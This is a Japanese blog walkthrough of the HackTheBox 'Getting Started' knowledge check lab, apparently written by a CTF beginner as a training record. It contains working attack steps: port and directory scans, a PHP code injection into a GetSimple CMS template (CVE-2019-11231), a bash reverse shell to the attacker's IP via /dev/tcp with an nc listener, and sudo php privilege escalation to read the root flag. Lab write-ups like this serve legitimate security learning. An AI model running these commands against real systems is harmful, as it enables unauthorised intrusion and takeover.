HackTheBox Module — Getting Started: Knowledge Check Walk-through
2025.06.10
はじめに
こんにちは。CTF初心者のロイといいます。
今回は HTB の Penetration Tester PathのGetting Started: Knowledge Checkを解いたので、Walk-throughを残しておきます。
解法だけでなく、なるべく思考の過程を残したいと思っていますので、ご参考になれば幸いです。
Attacker: 10.10.15.239
Target: 10.129.115.229
1. ポートスキャンと初期調査
└─$ nmap -sC -sV -Pn 10.129.115.229 Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-10 16:47 JST Nmap scan report for 10.129.115.229 Host is up (0.76s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Welcome to GetSimple! - gettingstarted | http-robots.txt: 1 disallowed entry |_/admin/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22番(SSH)と80番(HTTP)が開いています。robots.txtで/admin/が隠されています。
2. サイト調査とユーザー情報の発見
- http://10.129.115.229/robots.txt で
/admin/
ディレクトリが判明 - http://10.129.115.229/admin/ でログインページを発見
- gobusterでディレクトリ列挙
/index.php (Status: 200) /data (Status: 301) /admin (Status: 301) /plugins (Status: 301) /theme (Status: 301)
- gettingstarted.htbがドメインのようなので、/etc/hostsに追加
10.129.115.229 gettingstarted.htb
- http://gettingstarted.htb/data/users/admin.xml で管理者情報を発見
<USR>admin</USR> <PWD>d033e22ae348aeb5660fc2140aec35850c4da997</PWD>
このハッシュはSHA-1で、値は「admin」でした。
3. 管理者ログインとバージョン特定
- admin/admin でログイン成功
- 管理画面で GetSimpleCMS ver. 3.3.15 を確認
4. 脆弱性調査とRCEの実行
- バージョンに既知のRCE脆弱性(CVE-2019-11231)あり
- 管理画面の
theme-edit.php
からtemplate.php
を編集し、下記コードを挿入<?php system("id"); ?>
- トップページを開くと
uid=33(www-data)
などが表示され、RCE成功
5. リバースシェル取得
- template.php にリバースシェルコードを挿入
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.239/4499 0>&1'");?>
- 攻撃端末で
nc -lvnp 4499
を実行し、接続を待つ - 接続成功し、www-data権限のシェルを取得
- python3でシェルをアップグレード
python3 -c "import pty;pty.spawn('/bin/bash')" # Ctrl+z でバックグラウンド化 stty raw -echo; fg export TERM=xterm-256color export SHELL=bash
6. フラグ取得
- user.txtの取得
www-data@gettingstarted:/var/www/html$ cat /home/mrb3n/user.txt
7. 権限昇格とrootフラグ
sudo -l
で/usr/bin/php
をパスワードなしで実行可能User www-data may run the following commands on gettingstarted: (ALL : ALL) NOPASSWD: /usr/bin/php
- GTFOBinsを参考にroot.txtを取得
CMD="cat /root/root.txt" sudo php -r "system('$CMD');"
まとめ
- nmapでサービス調査
- 管理者情報を発見しログイン
- 既知のRCE脆弱性を利用しリバースシェル取得
- sudo権限でrootフラグも取得
お疲れ様でした!